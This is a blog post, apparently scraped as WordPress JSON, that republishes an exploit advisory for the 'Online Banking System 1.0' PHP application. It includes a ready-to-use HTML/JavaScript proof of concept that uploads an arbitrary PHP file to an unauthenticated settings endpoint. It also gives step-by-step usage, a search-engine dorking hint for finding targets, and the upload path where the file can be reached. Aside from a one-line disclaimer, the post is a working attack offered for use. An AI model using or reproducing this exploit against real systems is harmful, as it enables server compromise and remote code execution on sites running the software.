=============================================================================================================================================
| # Title : Online Banking System 1.0 Remote File Upload Vulnerability |
| # Author : indoushka |
| # Tested on : windows 10 Fr(Pro) \/ browser : Mozilla firefox 128.0.3 (64 bits) |
| # Vendor : https:\/\/www.sourcecodester.com\/sites\/default\/files\/download\/oretnom23\/banking.zip |
=============================================================================================================================================<\/p>\n
poc :<\/p>\n[+] Dorking \u0130n Google Or Other Search Enggine.<\/p>\n[+] This HTML page is designed to remotely upload PHP malicious files directly.<\/p>\n[+] Here\u2019s a breakdown of its components and functionality:<\/p>\n
HTML Structure:
DOCTYPE & <html>: Defines the document type and language.
<head>: Contains meta-information about the document like character encoding and viewport settings, and the title of the page.
<body>: Contains the main content of the page.<\/p>\n
Form Elements:
<form id=”uploadForm”>: A form with the ID “uploadForm” that contains input fields and a button for file upload.
<label> and <input> fields: Collect information from the user:
Target IP: IP address where the file will be uploaded.
Attacker IP: The IP address of the attacker (though this field is not used in the script).
Attacker Port: The port number of the attacker (not used in the script).
File Input: Allows the user to select a file to upload.
<button>: A button that triggers the file upload process when clicked.<\/p>\n
JavaScript Functionality:
uploadFile(): Function executed when the “Upload File” button is clicked.
Collects input values: Retrieves values from the input fields and the selected file.
Validation: Checks if all fields are filled and a file is selected. Alerts the user if any field is missing.
FormData Object: Creates a FormData object to package the file and additional data (name with the value ‘PWNED’).
fetch API: Sends a POST request to the target IP with the file attached:
URL: http:\/\/${targetIP}\/banking\/classes\/SystemSettings.php?f=update_settings
Response Handling: Logs success or failure based on the server’s response. If the response is ‘1’, it indicates success; otherwise, it logs an error.<\/p>\n
Security Note:
Potential Risk: This script is for educational purposes, and its functionality (uploading a file to a specified server) could be misused.
It\u2019s crucial to ensure that any file upload functionality is properly secured and validated to prevent unauthorized access or attacks.<\/p>\n[+] Line 45 set url of target.<\/p>\n[+] Choose the target IP .<\/p>\n[+] Put any IP address of your own .<\/p>\n[+] Put any port .<\/p>\n[+] The path to upload the files : http:\/\/localhost\/banking\/uploads\/<\/p>\n[+] Save Code as html :<\/p>\n
<!DOCTYPE html>
<html lang=”en”>
<head>
<meta charset=”UTF-8″>
<meta name=”viewport” content=”width=device-width, initial-scale=1.0″>
<title>Direct File Upload<\/title>
<\/head>
<body><\/p>\n
<h2>Direct File Upload<\/h2>
<form id=”uploadForm”>
<label for=”targetIP”>Target IP:<\/label>
<input type=”text” id=”targetIP” name=”targetIP” required><br><br><\/p>\n
<label for=”attackerIP”>Attacker IP:<\/label>
<input type=”text” id=”attackerIP” name=”attackerIP” required><br><br><\/p>\n
<label for=”attackerPort”>Attacker Port:<\/label>
<input type=”number” id=”attackerPort” name=”attackerPort” required><br><br><\/p>\n
<label for=”fileInput”>Select File:<\/label>
<input type=”file” id=”fileInput” name=”fileInput” required><br><br><\/p>\n
<button type=”button” onclick=”uploadFile()”>Upload File<\/button>
<\/form><\/p>\n
<script>
function uploadFile() {
const targetIP = document.getElementById(‘targetIP’).value;
const attackerIP = document.getElementById(‘attackerIP’).value;
const attackerPort = document.getElementById(‘attackerPort’).value;
const fileInput = document.getElementById(‘fileInput’).files[0];<\/p>\n
if (!targetIP || !attackerIP || !attackerPort || !fileInput) {
alert(‘Please fill in all fields and select a file.’);
return;
}<\/p>\n
const formData = new FormData();
formData.append(‘name’, ‘PWNED’);
formData.append(‘img’, fileInput);<\/p>\n
console.log(“(+) Uploading file…”);<\/p>\n
fetch(`http:\/\/${targetIP}\/banking\/classes\/SystemSettings.php?f=update_settings`, {
method: ‘POST’,
body: formData
})
.then(response => response.text())
.then(data => {
if (data === ‘1’) {
console.log(“(+) File upload seems to have been successful!”);
} else {
console.log(“(-) Oh no, the file upload seems to have failed!”);
}
})
.catch(error => console.error(“(-) Error during file upload:”, error));
}
<\/script><\/p>\n
<\/body>
<\/html><\/p>\n
Greetings to :============================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr |
==========================================================================<\/p>\n","protected":false},"excerpt":{"rendered":"
=============================================================================================================================================| # Title : Online Banking System 1.0 Remote File Upload Vulnerability || # Author : indoushka || # Tested on : windows 10 Fr(Pro) \/ browser : Mozilla firefox 128.0.3 (64 bits) || # Vendor : https:\/\/www.sourcecodester.com\/sites\/default\/files\/download\/oretnom23\/banking.zip |============================================================================================================================================= poc : [+] Dorking \u0130n Google Or Other Search Enggine. [+] This HTML page is designed …<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59104","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59104","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59104"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59104\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59104"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59104"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59104"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}